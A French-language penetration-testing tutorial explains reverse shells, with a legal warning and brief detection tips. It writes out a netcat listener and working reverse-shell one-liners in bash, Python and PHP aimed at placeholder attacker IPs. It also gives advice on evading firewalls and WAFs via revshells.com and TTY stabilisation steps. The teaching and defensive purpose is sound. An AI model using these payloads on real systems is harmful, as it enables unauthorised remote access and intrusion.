Le Reverse Shell (ou shell inversé) est un concept fondamental en cybersécurité, souvent utilisé lors de tests d'intrusion. Comprendre comment il fonctionne est essentiel pour apprendre à la fois l'attaque et la défense.
Dans une connexion classique (comme SSH), le client se connecte au serveur. Dans un Reverse Shell, c'est l'inverse : la machine cible (la victime) initie une connexion vers la machine de l'attaquant.
La plupart des pare-feux (firewalls) bloquent les connexions entrantes non sollicitées, mais autorisent les connexions sortantes (pour naviguer sur le web, par exemple). Le Reverse Shell permet donc de contourner cette restriction.
2 ordinateurs (1 attaquant et 1 une victime)
Pour réussir un reverse shell, il faut deux étapes :
Avertissement légal : N'utilisez ces techniques que sur des systèmes vous appartenant ou avec une autorisation écrite explicite. L'usage illégal est passible de sanctions pénales.
On utilise souvent l'outil Netcat (nc), surnommé le "couteau suisse du réseau".
Ouvrez un terminal et tapez :
nc -lvnp 4444
-l : Mode écoute (listen).-v : Mode verbeux (donne des détails).-n : Ne pas faire de résolution DNS (plus rapide).-p 4444 : Port choisi (ici 4444).Il existe des dizaines de façons de créer cette connexion selon les langages installés sur la cible. Voici la plus courante sous Linux (Bash) :
bash -i >& /dev/tcp/VOTRE_IP_ATTAQUANT/4444 0>&1
Explication de la commande :
bash -i : Lance un shell Bash interactif.>& /dev/tcp/IP/PORT : Redirige la sortie standard et les erreurs vers l'adresse IP de l'attaquant via le protocole TCP.0>&1 : Prend l'entrée venant de la connexion réseau et la transmet au shell Bash.Une fois la commande exécutée sur la cible, votre terminal "en écoute" va changer de tête : vous aurez accès à l'invite de commande (prompt) de la machine distante. Vous pouvez alors taper des commandes comme whoami, ls ou hostname.
Si Bash n'est pas disponible, on peut utiliser d'autres langages déjà présents sur le système :
Python
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ATTAQUANT",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
PHP
php -r '$sock=fsockopen("IP_ATTAQUANT",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Pour un défenseur (Blue Team), voici comment contrer ou détecter les reverse shells :
nc, bash ou python qui ouvrent des connexions réseau inhabituelles./dev/tcp ou des sockets réseau dans l'historique des commandes.Maintenant que tu as compris le concept théorique du Reverse Shell, l'étape suivante pour un apprentissage efficace est d'utiliser des outils qui automatisent la création de ces commandes.
Le site revshells.com est la référence absolue pour cela. C'est un générateur de "payloads" (charges utiles) qui évite de mémoriser des syntaxes complexes et réduit les erreurs de frappe.
Allez sur le site web revshells.com
Explication ci-dessous.
Lorsque tu arrives sur le site, la première chose à faire est d'indiquer à la cible où elle doit se connecter.
tun0 ou eth0).4444 est classique, mais en conditions réelles, on utilise souvent le 443 (HTTPS) ou le 80 (HTTP) car ils sont rarement bloqués en sortie par les pare-feux.Avant d'envoyer la commande à la victime, tu dois préparer ton terminal. RevShells propose un onglet Listener en haut à droite.
nc pour Netcat, ou rlwrap nc pour avoir un historique des commandes).C'est ici que le site devient très puissant. Il existe des dizaines de types de shells selon l'environnement de la cible :
[Image showing the payload selection list on revshells.com]
Astuce : Si une commande ne fonctionne pas, essaies-en une autre dans la même catégorie. Certains systèmes bloquent /dev/tcp mais autorisent une connexion via un "socat" ou un "python".
Parfois, la commande brute est bloquée par un pare-feu applicatif (WAF) ou corrompue lors du transfert (caractères spéciaux). RevShells propose des options d'encodage en bas de page :
Voici comment tu procèderais concrètement avec le site :
10.10.14.5 et Port : 443.nc -lvnp 443.Une fois connecté via revshells.com, le terminal est souvent instable (si tu fais Ctrl+C, tu perds tout). Pour apprendre la cyber, la suite logique est de chercher comment "stabiliser son TTY" pour avoir un vrai terminal interactif avec l'autocomplétion (Tab).
C’est l’étape qui sépare les débutants des pros. Quand tu obtiens un reverse shell avec Netcat, tu te retrouves souvent dans un terminal "instable" : pas d'autocomplétion avec la touche Tab, pas d'historique avec les flèches, et si tu fais un Ctrl+C par réflexe, tu tues ta connexion et tu perds ton accès.
Voici la procédure standard pour transformer ce shell fragile en un véritable terminal interactif (TTY).
Une fois que tu as ta connexion sur ton écouteur Netcat, la première chose à faire est d'utiliser Python pour créer un terminal plus complet. Tape cette commande sur la machine cible :
python3 -c 'import pty; pty.spawn("/bin/bash")'
Si python3 n'est pas là, essaie avec python.
Maintenant, tu dois configurer ton propre terminal (celui de ta machine d'attaquant) pour qu'il transmette correctement les touches spéciales.
Ctrl + Z. Cela va mettre ton processus Netcat en pause en arrière-plan. Tu reviens temporairement sur ton propre prompt (ex: kali@kali:~$).C'est ici que la magie opère. Tape exactement ceci sur ta machine d'attaquant :
stty raw -echo; fg
Que se passe-t-il ?
stty raw : Dit à ton terminal de transmettre chaque touche pressée directement (comme Ctrl+C ou Tab) au lieu de les interpréter localement.-echo : Désactive l'écho local pour éviter de voir tes caractères en double.fg : Ramène ton processus Netcat (le reverse shell) au premier plan.Note : Quand tu taperas fg, il est possible que rien ne s'affiche à l'écran. Appuie simplement sur Entrée une ou deux fois pour retrouver ton prompt.Ton terminal est maintenant stable, mais il ne sait pas encore qu'il est en couleur ou comment gérer l'affichage. Tape ceci dans le shell stabilisé :
Bash
export TERM=xterm
Si tu veux utiliser des éditeurs de texte comme nano ou vi dans ton shell, tu dois faire correspondre la taille (lignes et colonnes) de ton terminal local et distant.
stty size. (Exemple de réponse : 38 116).Bash
stty rows 38 cols 116
Si Python n'est pas installé, il existe d'autres méthodes pour stabiliser :
script /dev/null -c bash (Très utile sur les systèmes Linux anciens).socat installé, tu peux obtenir un shell totalement stable dès la connexion sans aucune manipulation supplémentaire. C'est l'outil préféré des experts pour éviter ces étapes manuelles.Désormais, tu peux utiliser les flèches du clavier, faire des Ctrl+C pour arrêter un script sur la cible sans perdre ton accès, et utiliser la complétion automatique.